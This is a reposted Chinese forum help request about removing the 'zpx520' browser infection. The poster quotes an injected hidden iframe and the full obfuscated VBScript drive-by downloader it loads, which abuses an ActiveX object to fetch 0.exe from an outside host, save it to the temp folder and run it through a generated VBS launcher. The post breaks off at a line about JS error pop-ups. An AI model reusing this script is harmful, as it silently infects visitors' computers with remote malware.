主题：[转帖]zpx520病毒如何清除？

zpx520 病毒

在我的流览器中，打开163.com等很多网站查看网页源码都出现这一行。应该是本地劫持放到浏览器中的。<iframe src='http://www.zpx520.com/0.htm' width=0 height=0></iframe>

不管是maxthon还是firefox都是一样的。查看了http://q.zpx520.com/1.htm网站的源码，如下：

<SCRIPT language=VBS>
'1 xiaohui's Script
'2 update 2007.2.24
'1
ps="Begin game ^O^"
'1
On Error Resume Next
'1
https="htt"&"p://"&"w.zpx520.com/0.exe"
'1
pso= "ob"&"je"&"ct"
'1
Set Pj=document.createElement(pso)
'1
Pj.SetAttribute "class"+"id", "clsid"&":BD96"&"C556"&"-65A3-11D0-98"&"3A-00C04"&"FC29E36"
'1
Set PS1=Pj.CreateObject("Mic"&"ros"&"oft."&"XML"&"HT"&"TP","")
'1
PS1.Open "G"&"ET", https, False
'1
PS1.Send
'1
ExeName="commomd.pif"
'1
VbsName="run.vbs"
'1
Set PS2=Pj.createobject("Scri"&"p"&"ting.F"&"i"&"le"&"Sy"&"st"&"e"&"mO"&"bje"&"ct","")
'1
Set PS3=PS2.GetSpecialFolder(2)
'1
ExeName=PS2.BuildPath(PS3,ExeName)
'1
VbsName=PS2.BuildPath(PS3,VbsName)
'1
AA="A"&"d"
'1
BB="o"&"d"&"b"&"."&"s"&"tre"&"am"
'1
DC=AA&BB
'1
Set XBOX=Pj.createobject(DC,"")
'1
XBOX.type=1
'1
XBOX.Open
'1
XBOX.Write PS1.ResponseBody
'1
XBOX.Savetofile ExeName,2
'1
XBOX.Close
'1
XBOX.Type=2
'1
XBOX.Open
'1
XBOX.WriteText "Set ws=CreateObject(""Wscript.Shell"")"&vbCrLf&"ws.Run ("""&ExeName&""")"&vbCrLf&"Set ws=Nothing"
'1
XBOX.Savetofile VbsName,2
'1
XBOX.Close
'1
GBA="S"&"h"&"e"&"l"&"l"&"."&"A"&"p"&"p"&"l"&"i"
'1
Set Run=Pj.createobject(GBA&"cation","")
'2
Run.ShellExecute VbsName,"","","Open",0
'3
ps="The end ^O^"
</SCRIPT>

发现了这行，htt"&"p://"&"w.zpx520.com/0.exe

不管打开哪个网站都弹出JS错误信息：